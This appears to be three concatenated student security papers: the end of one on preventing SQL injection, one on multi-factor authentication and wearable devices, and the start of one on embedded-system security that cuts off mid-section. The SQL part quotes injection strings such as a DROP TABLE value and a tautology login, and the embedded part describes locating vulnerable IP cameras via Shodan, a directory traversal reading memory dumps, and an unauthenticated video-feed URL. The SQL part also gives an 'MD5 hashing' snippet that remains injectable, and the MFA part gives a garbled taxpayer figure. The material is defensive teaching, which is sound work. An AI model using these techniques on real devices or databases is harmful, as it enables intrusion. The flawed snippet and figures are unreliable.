consequences, as explained in the previous section. In the 

following section of the paper, we will further our discussion 

on the importance of software protection, several techniques 

applied to protecting software as well as evaluating the 

effectiveness of such techniques and our suggested 

measures. 

 

 

4.2 Importance of software protection 
 

Protecting software is critical, especially against the 

common SQL Injection method. If one is not careful enough, 

attackers may create, read, edit or remove sensitive data 

from the targeted database. For instance, Heartland Payment 

Systems, a United States company which processes online 

transactions for many small and medium sized companies, 

suffered a major security breach in March 2008, where 134 

million credit cards were exposed by attackers, where they 

used SQL Injection to install spyware on Heartland’s data 

systems. Although it was clear that SQL Injection is 

vulnerable and most retailers had been warned about it, SQL 

Injection is still the most common form of attack against 

Websites.  An attack may not only cause the affected 

company to incur financial damages, but a hit to their 

reputation in gaining customers’ trusts. 

 

Malicious attackers may query sensitive information 

undetected for months, or even providing malicious input 

data which is executed by a web application. A sophisticated 

SQL Injection attack may involve corruption of extensive 

databases. Hence either false information is created in the 

database, or attackers get hold of information for blackmail, 

misuse etc. Such consequences of the security breach may 

be detrimental, especially if the application has political or 

social importance or value. Hence, protecting sensitive 

information against SQL Injection attacks is very crucial for 

any organization or individual user utilizing any application 

that links with a database engine as any sensitive information 

might be leaked if no adequate protection is done against 

SQL Injection. [7] 

 

 

4.3 Software protection techniques and 

their effectiveness 
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Though SQL Injection attacks are common, by 

implementing prevention methods, it has been reduced to 

7% of all software attacks today. This shows that with 

adequate protection, companies may prevent such common 

attacks. As slated in CSIS, 96% of successful breaches could 

have been avoided if the victim had put in place simple or 

intermediate controls. There are several methods in which 

software may be protected against SQL Injection attacks. In 

the following, we will discuss and evaluate the effectiveness 

of software protection techniques being used in place today 

in many companies. Below is a list of common Software 

Protection Methods deployed to prevent SQL Injection and 

we will observe the amount of actual use of the preventions 

in the corporate world. [15] 

 

 

Table 2. Preventing SQL Injection [8] 

No. Methods How is it done 

1 Adapt Input 

Validation 

Technique 

(Whitelist Input 

Validation) 

User input is checked 

against known good values. 

Any non-matching data 

would be rejected. 

2 Sanitize with 

whitelist 

Change data input into an 

acceptable format 

3 Minimum user 

privilege 

Each type of users with 

permission to access the 

database should operate 

with the least privileges 

assigned to them. By 

default, users’ privilege 

should be set to “no access”.  

4 Least common 

mechanisms 

Minimize the amount of 

mechanism common to 

more than one user and 

depended on by all. 

5 Parameterized 

Queries 

Prepared statements allows 

the database to differentiate 

code and data.  

 

 

The above are ways on the tip of an iceberg for the number 

of ways to prevent SQL Injection. We shall evaluate the 

effectiveness of each technique as mentioned above. 

 

4.3.1 Whitelist input validation 
Ensuring whitelist input validation can be an effective way 

to prevent SQL Injection as mentioned above. There are 

three factors contributing to the validity of the data: one 

ensures the integrity, second follows business rules and the 

last validates data, in which we are going to further elaborate 

on. The strategy is known as “Accept known good”, where 

the data is checked against a set of constrained values. If the 

input fails to match any one of the set, it is rejected. The rules 

are as followed for data inputs: strongly typed at all times; 

valid length of each field; range checked for numeric or 

alphabetic, whichever applies; unsigned unless required to 

be signed; syntax or grammar verified prior to use. Apart 

from the whitelist, there is another data validation strategy 

which rejects the known bad - blacklist validation. In this 

method, one has to maintain a list of ‘known bad’ patterns. 

This method is inferior in comparison to whitelist, as there 

will be an infinite list of ‘bad stuff’ and blacklist would 

always be incomprehensive in preventing unexpected 

attacks. Therefore, whitelist is an effective direct method for 

data validation, and it could easily mitigate the problem of 

basic SQL Injection attacks. [9] 

 

4.3.2 Sanitizing input 
Following whitelist validation, there is an alternative way, 

which is to sanitize inputs. Input will be changed into a 

format as per pre-defined rules. If the input is invalid or, not 

included in the approved list, it can be deleted, or modified 

with whitelist sanitization. For example, "(65)111-10-01", 

"65.111.100.1", and "65\";DROP TABLE STUDENT;--

111.1001" all convert to 651111001. Similarly, sanitizing 

may be achieved with blacklist, but as aforementioned, it has 

to be maintained and the list will always be incomplete.  As 

we can see, whitelist effectively blocks SQL Injection 

attacks in comparison. However, this may be troublesome if 

the data required is someone’s name for example, 

McDonalds. The apostrophe in the person’s name is an SQL 

control letter, but that has to be allowed. Such metacharacter 

problem has to be solved by escaping data, by default. [10] 

 

 

We can see the importance of sanitizing input from Yahoo’s 

example. In 2012, a group of hackers who were known as 

“D33Ds Company” used a Union-based SQL Injection 

technique to attack Yahoo Voices. The attackers published a 

list of 450,000 login credentials online and that includes 

Gmail (106,873 instances), Hotmail (55,148), AOL (25,521) 

and any number of ISPs. On top of that, these credentials that 

were published are shown in their plaintext form, and were 

not being obscured by hashing techniques. Hence, it is 

essential to have the input sanitized and in addition, hashing 

the login credential to further minimize future SQL Injection 

attacks. [17][18] 

 

 

4.3.3 Least Privileged Access: 
By granting users with the least privileged access, including 

human users and systems, they will be able to minimize and 

reduce the impact of complications caused from overlapping 

access, or even unauthorized access. It is undesirable to 

assign database access rights to applications, as attackers can 

change parameter values to a value that is unauthorized for 

them, but the application is authorized to. Such cases hence 

tells us that granting minimum user privilege reduces 

unauthorized user attempts. If certain accounts need to read 

from a table, they may only read. This can be said to be a 

fundamental designing principle when defining rights for 

different users. As much as possible, this should minimize 

the amount of useful information an attacker is able to gain 

from illegally accessing any user’s account as access rights 

are restrained for each and every user.  
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4.3.4 Least Common Mechanism: 
The least common mechanism should be deployed as a 

preventive measure to SQL Injection attack. For example, 

database accounts should be separate from application 

accounts that is linked to it. By separating database and web 

applications, developers will create application-specific user 

accounts to reduce the likelihood of an SQL Injection attack. 

Hence, though not obvious, the least common mechanism 

serves as a deterrent for potential attackers for they need to 

go into much more trouble to gain access to the database as 

application accounts are not in common with database 

accounts. 

 

4.3.5 Parameterized inputs: 
Parameterized inputs make sure that an attacker is unable to 

modify the intent of a query. For example, if an attacker were 

to enter the user ID of tom’ or ‘1’=1, a parameterized query 

would not be vulnerable and would match a username with 

the string tom’ or ‘1’=1. However, such measures may harm 

the performance of the program. OWASP suggested that 

instead of prepared statements, it is best to escape all user 

supplied input or use a stored procedure. A stored procedure 

is written and stored in the database, then called from the 

application. [9] 

 

4.3.6 Observation: 
In light of the first two strategies, data validation and 

sanitization as mentioned above, it should be best to 

implement the strategies together as basic prevention to 

ensure that inputs are valid and safe. The most common SQL 

Injection attacks come from failure to validate and sanitizing 

inputs. Hence the most important measure against most SQL 

Injection attacks can be simply by validating and sanitizing 

inputs. This would make database intrusion much harder for 

attackers. After sanitizing the input, the system should 

conduct a double check to validate the data, and hence 

providing a double shield against SQL Injection attacks in 

terms of data input. In the case where an attacker is able to 

bypass all of the above shields, the paper has further 

explored the methods applied to minimize chances of 

attackers in gleaning useful information from the violated 

system through methods like least common mechanism. 

Whereby for example, in UNIX, a user will only be allowed 

to gain root access if they know the root password and 

belongs to the wheel user group. [13] 

 

However, in actual fact, despite the effectiveness of the 

above methods suggested, while 45% of surveyed 

companies believed they were doing well against cyber-

attacks, a further review revealed that only 10% of them 

were taking adequate steps. As much as companies do try to 

achieve a balance between spending for data security and 

meeting profit margins, only 10% agree to going and are 

taking the further mile to ensure the safety of their data 

through following system designing principles, while others 

are not willing to make the sacrifice for reduced profit 

margins. [15] 

 

 

4.4 Suggested measures 
 

Essentially, methods are suggested and implemented 

currently by developers in the section above, and 

organizations should take initiatives in protecting their 

sensitive information. In the following section, the paper will 

suggest several measures that organizations can take as 

precautions against the common SQL Injection attack. The 

CSI 2010 Survey has compiled a list of actions that 

companies take. 

 

As we can see from Figure 2 below, 97% of companies 

implement anti-virus software to protect themselves from 

cyber-attacks however, in CSIS Publication, a study found 

out that antivirus software missed as much as 95% of 

malware in the first few days after its introduction. 

Therefore, is essential for organization to build strong 

defenses against SQL Injection attacks as one vulnerability 

may lead to a devastation result whereby the information in 

the database will be exposed. As discussed earlier, apart 

from existing measures taken at the developer’s side, the 

paper will pick out from the chart above and suggest several 

approaches. While patching applications and installing 

firewalls are some of the methods that many respondent 

companies had deployed, reducing error information and 

instilling security awareness in employees does not seem to 

be of importance to the organizations. Hence, these methods 

if applied together, companies can largely reduce the 

likelihood of being fallen victims of SQL Injection. [15] 
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Figure 2. Types of Security Technology used by 

companies [7] 
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Table 3.  Preventive methods against SQL Injection for 

organizations 

No.  Methods Why? 

1. Reduce error 

information 

Displaying the details of the error 

will gives the attacker an insight 

on how to attack the database. 

Therefore, organizations would 

need to request that developers 

consider what information has to 

be returned when there is an error.  

 

For example, error reporting like 

“The password cannot exceed 10 

characters and only lowercase 

letters are accepted.” will allow 

attackers to narrow down the 

range of valid passwords in the 

system. 

 

A real life example can be seen 

from the following example, 

which happened to NASDAQ 

Stock Market, whom was under 

SQL injection attacks from 2005 

to 2012 by 4 men. One of the 

attackers, received an instant 

message on one occasion. This 

instant message was recognized as 

a vulnerability in a password-

reminder page of the NASDAQ 

website which gave clues for him 

to construct a SQL Injection string 

to obtain the hashed login 

credentials from the login page. 

Therefore, from this NASDAQ 

incident, it is very important to 

reduce the error information and 

to grant minimum privileged 

access to the user so that neither 

the users nor the attackers have 

the insight of the network. [19] 

2. Use a web 

application 

firewall 

Web application firewall provides 

set of rules that is able to filter out 

suspicious web requests. It can 

also catch most requests that 

attempt to sneak SQL through the 

web channels.  

 

While it is an effective method to 

catch SQL injections, only 58.5% 

of respondents used this as part of 

their prevention methods. 

4. Instill 

security 

awareness in 

employees 

Employees such as developers 

have to be aware of the threat and 

the countermeasures so that they 

are able to keep the servers safe.  

5. Databases 

and 

application 

must be fully 

patched 

Patching can fix bugs and security 

vulnerability in databases and 

applications. It is shown that 75% 

of attacks use publicly known 

vulnerabilities in commercial 

software that could be prevented 

by regular patching. [15] 

 

Government agencies such as 

Department of Energy (DOE), 

Department of Health and Human 

Services and the U.S. Sentencing 

Commission were breached by 

SQL Injection attacks. Attackers 

had found vulnerabilities in the 

outdated and insecure versions of 

the website development platform 

Adobe coldFusion and the 

attackers were able to retrieve the 

employees’ credentials and even 

their bank account numbers. [16] 

 

 

 

Even though the measures above proves to prevent SQL 

Injection attacks with near immediate effect, there are 

practices that should be taken into consideration to further 

the protection against malicious attackers. These practices 

may increase the costs of operating to the organization but 

may bring about long-term benefits, or an insurance against 

more losses when the organization’s security is breached.  

 

These practices are as listed in the following table to show 

why: 

 

 

Table 4. Other preventive practices for long-term 

protection [11] 

No. Practices Reason 

1. Implement 

monitoring 

tools 

Monitoring the activity at the 

application level can give an 

insight to the administration of 

what is happening and whether 

there is an attack occurring. 

2. Implement 

filtering 

tools 

By working together with 

monitoring, a suspicious traffic can 

be filtered out and be denied to the 

access of the database. This will 

prevent the attack from occurring. 

3. Enhance 

security 

There can be many forms of 

enhancing the security against 

cyber-attacks. In this table, the 

table will focus on 

encryption/hashing to deal with 

SQL injection attacks. 

Encryption and or hashing can 

minimize the impact of SQL 
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Injection attacks hence enhancing 

security. Quality of encryption or 

hashing is important as well 

because attackers can decrypt 

information if the encryption is 

poor and this defeats the purpose of 

protecting the information. 

 

 

For example, in PHP, instead of: 

$sql = “SELECT name FROM 

students WHERE id = ‘$pid’; 

By using MD5 Hashing algorithm: 

$sql = “SELECT name FROM 

students WHERE MD5(id) = 

‘.MD5($pid)’; 

Hashing will complicate the SQL 

statement and make SQL injection 

extremely difficult for attackers: 

 

 

Ultimately, organization must not only know how to prevent 

SQL Injections but also have an in-depth knowledge of how 

SQL Injection attacks work and how the threat has evolved 

so that countermeasures can be developed earlier to detect 

and deter the attacks, alongside with their developers. 

(September 2009) 

 

 

5 CONCLUSION 
 

As the paper examined some of the types of injection attacks, 

it is known that there are many ways to retrieve and 

manipulate data. The paper also went in detail about SQL 

injections, what it does and how can it disrupt an 

organization’s operations. Furthermore, some preventive 

methods were analyzed and evaluated that secures software 

from SQL injections. Finally, various measures were 

suggested on how to better protect the software for both 

layman users and for organizations. It is crucial to safeguard 

our software from malicious attacks and as the saying goes, 

“prevention is better than cure.” 
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ABSTRACT 
Authentication of users has become more important throughout 

the years. As we store more sensitive data on devices and in the 

cloud than ever before, the requirements of improved security is 

arising. This paper will explain the concept of authentication and 

especially go into detail about multi-factor authentication: what it 

is, the history behind it, and why it is used. Wearable and 

handheld devices in the area of authentication will be in focus. 

The paper will investigate whether the combination of 

authentication and wearable devices is a good idea. We will also 

look into the security issues regarding MFA and these devices.  

General Terms 
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Keywords 
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1. INTRODUCTION 

1.1 Definition of Authentication 

Authentication is the process that confirms that a user is who they 

claim to be [1]. In authentication, there are three factors, which 

are used:  Something you have, something you know or something 

you are.  In information technology, it is most common to use 

usernames and passwords for authentication. PC users and 

businesses use computers for several purposes, such as storing 

and sending digital data. A significant amount of this data is 

usually confidential, and it is important to prevent unauthorized 

access [2]. 

2. DEPTHS OF MULTI-FACTOR 

AUTHENTICATION 

2.1 Multi-FactorAuthentication - What is it? 
Multi-factor authentication refers to the requirements of multiple 

factors to authenticate the user.  There are three different factors 

that is used in multi-factor authentication processes: The 

knowledge factor, the possession factor and the inherence factor. 

The knowledge factor is normally a password, pin-number or a 

pattern. Passwords are normally more than eight characters long, 

and should contain upper and lowercase letters, symbols and 

numbers. It should not be a word from a dictionary. It has been 

proven that mnemonic passphrases works the best - they are easy 

to remember and hard to hack[25]. Pin numbers and passphrases 

are normally four digit, but often constrained so that you only can 

try to type the correct number three times before the system locks 

down.  

The second factor is something the user has - the possession 

factor. This could be a physical key to a lock, a disconnected 

token, a connected token, a smart card, RFID, mobile phones, 

apps, one-time pads etc. 

The third factor is the inherence factor - the user needs to provide 

something that he is. This is the newest addition to MFA and it is 

referred to as biometrics. In short, multifactor authentication is 

when you use more than two different factors to prove that you 

are who you say you are. 

2.2 Why do we need it 
Manmade passwords are easy to crack.  They can often be leaked 

or guessed and some of us have favourite passwords which we use 

everywhere. They are no longer considered safe [10]. Since more 

and more data is being stored on devices and in the cloud, 

multifactor authentication becomes more and more important. To 

protect these devices against attacks, a more secure way of 

authentication is needed. Manmade passwords are no longer good 

enough. In April 2013, Associated Press Bureau’s twitter-account 

was hacked and a false tweet about The White House being 

bombed was published. This instantly affected the stock market 

on Wall Street [3]. This was an important wake-up call. At the 

time twitter did not support two-factor authentication (hereby 

addressed as 2FA). However, now they do, and they are currently 

supporting a more secure authentication by sending users a 

verification code to their phone. This feature is not standard when 

you create an account, but have to be enabled by the user himself. 

This amplifies the need for secure authentication [4]. Throughout 

the years several large companies have been attacked, such as 

Sony1, HBGary2 and Gawker3. The hackers simply got hand of 

different users passwords and could therefore easily access 

sensitive corporate information. These types of attacks show us 

that only using a password is not enough to secure important 

material. As the development in IT-security goes on, the need for 

MFA is increasing, and more and more firms realize that it is a 

necessity. To be able to make this feature available to as many 

people as possible, many companies (such as Twitter and 

Facebook) make use of the user’s phones as the possession-factor 

when they introduce MFA. Handheld devices become more and 

more important in they way we interact with information 

technology and how we defend ourselves against attacks [5].  

                                                                 
1 Japanese multinational conglomerate corporation headquartered in Kōnan Minato, Tokyo, Japan. 

Its diversified business is primarily focused on the electronics, game, entertainment and financial 

services sectors. – Wikipedia 

2 Subsidiary company of ManTech International, focused on technology security. - Wikipedia 

3 Gawker is a blog founded by Nick Denton and Gavin McInnes and based in New York City that 

bills itself as "the source for daily Manhattan media news and gossip". It focuses on celebrities 

and the media industry. - Wikipedia 
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Another good example that shows us why MFA is useful is an  

attack that were directed to the South Carolina Department of 

Revenue. A phishing email was the root of a breach, which led to 

theft of social security numbers and valuable personal information 

from 3.8 billion taxpayers and 700 000 businesses, including 387 

000 credit and debit card numbers. Because the login credentials 

were legitimate, the attackers were able to gain access to a Citrix 

remote control service. The result was that they stole a lot of 

usernames and passwords and installed 33 malware pieces and 

about 30 servers were compromised. The governor of South 

Carolina, Nikki Haley, said that this breach was a result of the 

system not using multiple factors in their authentication process, 

and were easily hacked [6]. 

 

Another huge attack, which was a result of not using MFA, is the 

attack on the systems of The New York Times. The system 

contained information about reporters and their confidential 

sources. Chinese citizens got wind of a developing story, which 

was tying billions of dollars in profits to relatives of China’s 

Prime Minister. The attackers wanted to get access to The New 

York Times sources. The Chinese hackers sent a phishing email to 

one of the NYT employees and tricked him to give up his 

username and password. Through this information, they managed 

to install malware and gain access to all of the computers in the 

NYT system. They were spying for four months before they were 

caught. This breach could have been avoided if The New York 

Times had used MFA on their systems. [6] 

 

2.3 Biometrics - An additional Factor 

The use of biometric authentication systems is increasing in 

popularity and these kinds of systems introduce several new 

challenges related to security and privacy of our personal 

information [7]. Biometrics were introduced to add a new level of 

security, and because of peoples uniqueness, the idea was that it 

would be impossible to forget and hard to forge. The hard part is 

to keep the precious identifying biometric data safe. When 

biometric data is used, it is normally stored in a database to be 

used for comparison, when someone tries to access the system. If 

hackers get a hold of the information in the database, there is 

always ways to work around the secure system. Another issue that 

arises with the use of biometrics, is that biometric information is 

not private. We leave our fingerprints everywhere, and a match 

can easily be made with a good photography. If someone 

malicious gets hold of your fingerprint, it will forever remain 

compromised [8]. You can not change your biometric data. 

Delehanty, from the university of Minnesota explains three main 

types of adversary attacks on biometric data authentication 

systems: Insider attacks, where the system is manipulated by 

someone with the authority to do so, Biometric Overtness Attack 

 - when the system is tricked into granting access to someone who 

is not the actual person (gummi- eyeballs, lifted fingerprints). The 

third type he explains is when the infrastructure is non-secure, 

there is poor data encryption or attacks on the database where the 

authentication data is stored [8].When biometrics is used as 

authentication locally on a device, it is more secure, because then 

the fingerprint is not stored anywhere else [9].  

2.3.1: Methods of Biometrics 
In the field of biometric authentication, there are several methods 

that can be used to identify an individual. The most commonly 

known today is fingerprint, but biometric scans of other bodily 

traits are being developed. It is possible to identify people using 

iris-scan, facial-expressions, scanning of DNA and gait [10]. Most 

recent is the use of heart rhythm as identifier, more about this in 

the devices-section. 
 

2.4 Security matters regarding Multi-factor 

Authentication 
As in most approaches to security, there are also issues with MFA. 

In some cases it can be vulnerable. If one of the steps in the 

authentication process is being compromised, then the advantages 

of MFA disappears. To show an example, the popular RSA 

SecurID was hacked in March 2011. Many people use this 

security bundle to verify their identity as a step in a 2FA process. 

During this hack in 2011 some firms that used this verification 

method was forced to turn their 2FA system off and switch back 

to their old systems, which they originally went away from 

because of security issues [11][12]. Schneier mentioned already in 

2005 that 2FA is vulnerable to both trojan attacks and man-in-the 

middle attacks [9]. 

 

Not like any password, biometrical data is unchangeable. It is 

therefore really important to make sure that biometrical data is not 

falling into the wrong hands, because it is not safe. After the new 

iPhone 5S was released with a fingerprint scanner, it did not take 

long - only a couple of days after it was released, a German 

computer club reported that they had managed to bypass the 

function [13]. 

 

"We hope that this finally puts to rest the illusions people have 

about fingerprint biometrics. It is plain stupid to use something 

that you can´t change and that you leave everywhere every day as 

a security token. (…)The public should no longer be fooled by the 

biometrics industry with false security claims. Biometrics is 

fundamentally a technology designed for oppression and control, 

not for securing everyday device access." [13]. 

 

Using biometrics for authentication seems like a good idea. The 

concept sounds secure and may be hard to compromise. There is 

still a lot of work to do to develop technology that is good enough 

to ensure 99.9 percent reliability. It is crucial that the voice that is 

being recognized or the iris scanned is the right one, so that the 

authentication works properly. An UK IT commentary and 

analysis website, ItProPortal, predicts that technology that can 

make sure of this is at least a decade away [14]. 

3. MULTI-FACTOR AUTHENTICATION 

AND WEARABLE DEVICES 

3.1. What it s and why it can be useful 

Wearable devices are electronic devices or computers that are 

incorporated into clothing and accessories that can be worn on the 

body, comfortably. In general, these devices can perform many of 

the same tasks as mobile phones and computers. However, 

wearable technology can sometimes be even smarter because in 

addition it can provide analysis of sensory information from the 

person who wears it. Examples of this are different scanning 

features, such as biofeedback and tracking of physiological 

functions. Examples of wearable technological devices can be 
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contact lenses, watches, glasses, e-textiles, smart fabrics, jewellery 

and so on [15]. This can be especially useful as substitute for the 

inherence factor or the possession factor. An example can be a 

bracelet you wear that will authenticate you, and only you, if you 

are wearing it. Then you would in only one step be able to provide 

both factors at once. In development of safer authentication 

methods, it is not reasonable to believe that we can impose the 

user’s brains with longer and more complicated passwords - The 

best way of improving security will be in ways outside of the 

human brain.  

3.2 Recent developments in wearable devices 

for MFA and examples 

There are already many wearable devices available on the market 

today. Here we will present a couple of interesting findings from 

the web:  

1) Smart watches is a new contribution from the technology 

world. Making our everyday life easier with smaller devices which 

is available to you most of the time. Two smart watches which 

were presented last year, is Samsung Galaxy Gear and the Pebble 

Watch. These devices could possibly be used as authentication 

devices. The watch from Samsung has NFC which can be used to 

identify a person [21]. 

Pebble on the other hand can receive text messages from your 

phone which make it much easier for the users to implement two-

factor authentication. Many services sends text messages to users 

with additional log-in information [22]. 

 

2) Nymi is a product from a company called Bionym [23]. This 

product, a bracelet, is made for easy authentication in your 

everyday life. It uses your unique heart rhythm to identify who 

you are. It is wireless and it is possible to use it with your car, 

smartphone, computer and other devices that requires your 

identity. The people at Bionym wanted to make a product that 

excites people to use it. Like other forms of authentication, you 

usually have to do something. With this product the goal was to 

simultaneously authenticate the user in every situation where this 

is needed, without the user doing much [23][24].  

 
Figure 1: Nymi from Bionym 

 

 

 

3.4 Security matters in use of wearable devices 

There are several security matters to consider when merging 

authentication and wearable devices. One of them is the possible 

loss of the item that is used to authenticate. For example, if you 

use your phone as an authentication device, a loss or worse - theft 

of this phone could result in several unpleasant episodes. Such as 

unauthorized person accessing your accounts, or even worse; 

using your identity - pretending to be you.  

 

Another example can be if you use Nymi, the device explained 

earlier, and the device is broken. If you do not have a backup plan 

to authenticate yourself, you have a serious issue. Many services  

use different types of devices for authentication that usually 

provide you with a set of back up codes to use if there is any 

problem with your device. What happens if you do not have these 

codes in handy at the moment and your device is broken or lost? 

Our everyday lives are increasingly depending on verification, and 

we use it more often than we think. It would not be a pleasant 

situation to be a person who is stuck at work, or when accessing 

your home computer because your bracelet is broken and a 

backup plan is not available at the time.  

 

Because all wearable devices are running on a software, these 

devices as others have the probability of failure. If this happens, 

the whole idea behind a secure way of authentication is gone and 

compromised since you probably would have to go back to your 

old way of authenticating yourself.    

 

3.5 MFA and wearable devices in the future 

Some predicts that wearable devices will be as big as the 

smartphone, but will evolve much faster. Since the price of 

sensors and chip-sets are cheaper now than ever, this makes it 

easier for smaller companies to implement technology into their 

wearable products. If you look at how technology have developed 

throughout the years, it is possible to see a certain pattern: 

Searching the web, send emails, keep calendars and play games 

seemed impossible to do on a phone ten years ago. These features 

were usually performed on a computer. If the trend continues in 

the same direction, it is possible that wearable devices will take 

over for both PCs and smartphones [16]. It is also possible that 

we will see more specialized products, Google for instance, 

proposes jewellery with an inserted chip which can authenticate 

you with a single tap [17]. 

 

The use of biometrical authentication will probably be more 

implemented in wearable devices in the future. There are many 

new projects emerging. For example, Motorola Mobility applied 

for a patent for an electronic smart tattoo. This tattoo works in a 

way that it collects up auditory signals from the skin (called 

galvanic skin responses) and the tattoo converts it into a digital 

signal. In the future, the goal is that the tattoo will be used to do 

the same with other signals from the human body. As a biometric 

factor, this tattoo could have been a nice contribution to how 

authentication is going to work in the future [18]. 

 

Another way of biometrical authentication is via RFID. This is a 

chip technology where wireless radio frequency is used to transfer 

data [26].  At a conference called Toorcamp in Washington in 

August 2012, a person named Andrew chose to get an RFID 
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injected into his body [19]. RFID can be a practical contribution 

to the way we use biometrical authentication in the future.“The 

practical appeal of an RFID implant, in theory, is quick 

authentication that’s faster, cheaper and more reliable than other 

biometrics like thumbprints or facial scans.” [19]. The chips 

works in a way that when it is hit with a radio frequency signal, it 

gives a unique number that works as a password. In the future 

products may take use of this technology which enables people to 

open their cars, log into their accounts and access their homes by 

just using their hand [19]. Today RFID is used in different areas. 

Tags are already being used in food and tracing systems in Japan. 

Fishermen in Miyagi, Japan, use this technology for 

authentication. Customers can use these tags to verify that the 

seafood is freshly delivered and harvested legally. Another 

example of use of RFID is in Legoland parks. They offer tracking 

bands so that parents can track down their lost kids [20]. 

 

Many security and privacy questions have been raised around 

RFID. These are mainly about surveillance and data gathering, 

which for RFID is a great tool. Since RFID can be used to track 

people and identify them in real time, it is also easy to store this 

data and make detailed records of individuals. This is clearly a 

violation of the terms of privacy. If we start to use RFIDs to 

authenticate ourselves in the future, it is important to ensure that 

the data that is possible to gather from the RFID is not being used 

against the person wearing/having the RFID [20].  

 

4. CONCLUSION 
Authentication and its security matters has always been a hot 

topic. The     importance of having a flawless, secure and user-

friendly authentication process is getting more and more evident 

to people. The technology is increasing in advancements and the 

hackers is continuously trying outsmart and compromise it. As a 

result of this, it is necessary to improve security around 

authentication. It can never be bulletproof, there is always a way 

around which makes it difficult to maintain a high level of 

security. One substantial problem regarding authentication and 

security is the difference between artificial and human 

intelligence. Most of the time, humans are the weakest part. 

Passwords made by humans is often easily crackable and is not 

good enough for securing sensitive data. Devices that are made to 

help us authenticate ourselves is therefore considered as a good 

way of increasing the level of security. The downside of this trend 

is the fear of losing the device or that it gets stolen and misused.   

 

The idea of wearable devices in combination with authentication 

is a good way of improving and simplify the way we authenticate 

ourselves. If this becomes a trend for the future, there is many 

security factors that have to be considered thoroughly. Such as the 

issue with losing your device, and how a backup plan can be 

implemented in case of system failure.   

 

Applying wearable devices as a step in an authentication process 

contributes to make the process much more usable and 

convenient. Instead of  “type in three passwords, scan your iris 

and read a sentence” - you get a more seamless, safe and efficient 

process. A wearable device is probably something you will carry 

around at all times which makes it accessible everywhere.  

 
As a step in this discussion, we also have mentioned biometrics to 

some extent, and it seems like this technology needs further 

improvements before it effectively can be used for authentication. 

As the security expert Schneier says: “...it seems kind of foolish to 

use something like your fingerprint to authenticate, because it is 

not a key, you leave it wherever you go” [9].  Despite this, the 

combination of wearable devices and biometric identifications 

seems like a way for the future. A good example of this is the 

Nymi device that we presented earlier. If something like this 

would work perfectly and was completely flawless it is certainly a 

much more secure approach than using only passwords. 
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ABSTRACT 

This paper discusses about the security requirements for 

embedded systems, vulnerabilities imposed and the available ways 

to prevent them.  The concept of the security requirements need 

for embedded system is researched and analyzed based on three 

main example systems which are Door Lock System, Security 

Cameras and the smart auto-mobile systems.  Moreover, recent 

examples of security breaches to these systems are explored 

together with some suggested counter-measures.  By pin-pointing 

the impact of embedded systems on societies and personal daily 

lives, this research aims to raise awareness of the security 

weakness in embedded systems and how it translates to the breach 

of personal privacy.   

Categories and Subject Descriptors 

K.6.5 [Security and Protection]: Authentication; Unauthorized 

Access 

General Terms 

Performance, Design, Reliability, Security, Verification. 

Keywords 

Embedded Systems, Security. 

1. INTRODUCTION 
More and more devices are being connected to Internet with the 

recent advancements in wireless and information technology. 

With this, the embedded systems which were rarely subjected to 

attacks while being standalone are becoming more exposed to the 

outsiders, thus introducing new privacy and security concerns. For 

instance, many surveillance cameras can be accessed online 

nowadays. This means if attackers gain access to these cameras, 

they can spy their victims at their comfort. There are thousands of 

IP cameras which can be found easily and  accessed via simple 

hacks available online currently despite of the patches from the 

manufacturers. Nowadays, everybody owns a cell phone. If a 

perpetrator gain access to a victims handset infected with 

malware, not only can he steal the victim’s personal information 

such as bank accounts and credit card numbers, he can also spy on 

the victim using the phone’s microphone and camera. Therefore, 

as more and more embedded systems are being connected to the 

Internet, they are becoming more and more vulnerable to attacks. 

2. EMBEDDED SYSTEMS 
Nowadays, embedded systems have played a great role in the 

people’s everyday lives. There will be no energy to use; 

transportation would be difficult; society will disintegrate without 

the embedded systems. Moreover, many people’s lives are 

depending on medical devices,such as pacemakers and implanted 

bio-sensors, which are examples of embedded systems. From 

communication to health sectors, everything relies so much on 

embedded systems in this technology world.  

The embedded systems are powered by specialized micro-chips, 

manufactured by different companies. Due to tight competition, 

those companies need to build cheap chips and thus, the profit is 

at the margin. Moreover, they have to upgrade the chips to next 

version in order to attract or keep the customers. As a 

consequence, they just focus on producing newer version of the 

chips rather than upgrading the security systems of the older 

chips.[1] The embedded systems have become more vulnerable to 

the attacks as the other technologies have accelerated while 

security in them remain almost the same.   

3. ANALYSIS OF SECURITY OF 

EMBEDDED SYSTEMS 

3.1 Monitoring Systems 
People have been using monitoring systems to prevent criminals 

and malicious people from breaking into their premises and to 

help the authorities catch the perpetrators if they broke in. In 

recent years, these systems are being upgraded from their 

standalone, closed-circuit environments onto the Internet and 

becoming more affordable to be used in normal households which 

was normally not helped set up by professionals. Increasing use of 

wireless networks also introduce vulnerabilities. Various types of 

vulnerabilities and attacks, especially to the systems connected to 

Internet are discussed below.  

The owners of an IP camera can view its image stream from 

everywhere using a username, password and the camera’s ip 

address.  

3.1.1 Finding the IP cameras with vulnerable 

firmware 
The attackers can find the IP cameras present online using 

Shodan, a search engine that provide a varity of filters to find 

specific types of computers (routers, servers, etc.). After the 

search, the attacker can filter the devices running vulnearble 

software by writing scripts which runs through the search results. 

For instance, a user on Console Cowboys blog, used this method 

to find Trendnet TV-IP110w IP cameras which are vulnerable to 

Authentication Bypass attacks. Since the web server of the IP 
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camera requires authentication, they used the keyword “netcam” 

as the filter for the realm and wrote a python script which uses 

Shodan api. By doing so, they were able to find 350 vulnerable 

devices out of 9500 results.[2] An example script by a hacker 

SneakngMax can be found in Appendix A.[3] 

 

 
 

3.1.2 Attacks and Vulnerabilities 
Many of the IP camera systems uses http and ftp instead of https 

and ssh or sftp. Since the data over these communications 

protocols are not encrypted, the attacker can easily extract 

information like usernames, passwords and wireless network , ftp 

and email credentials. The IP cameras run small server programs 

for their web interface and thus susceptible to common web server 

attacks. According to common vulnerabilities and exposures CVE 

2013-2560, the web interfaces of Foscom IP cameras with 

firmwares older than 11.37.2.49 are vulnerable to Directory 

traversal which allows remote attackers to read arbitrary files in 

the system via a .. (dot dot) in the URL, thus exposing web 

credentials or Wi-Fi credentials. This vulnerability can also be 

used to access the /proc/kcore, the memory dump file of the 

device, which can be dissected to reveal information such as 

configured passwords, FTP servers and mail servers as shown in 

the figure below. This kind of attacks can be countered by 

correctly checking user inputs (URLs), by hasing or encrypting 

user credentials and by limiting access to minimum possible 

files.[4]  

 

 

 

The attacker can gain access to the image stream from the camera 

by exploiting the bugs present in the firmware and executing 

remote cgi scripts. For instance, according to the exploit done by 

the Console Cowboy user, Trendnet TV-IP110w model IP camera 

allows access to live feed by a request to http://camera-ip-

addr/anony/mjpg.cgi  

 

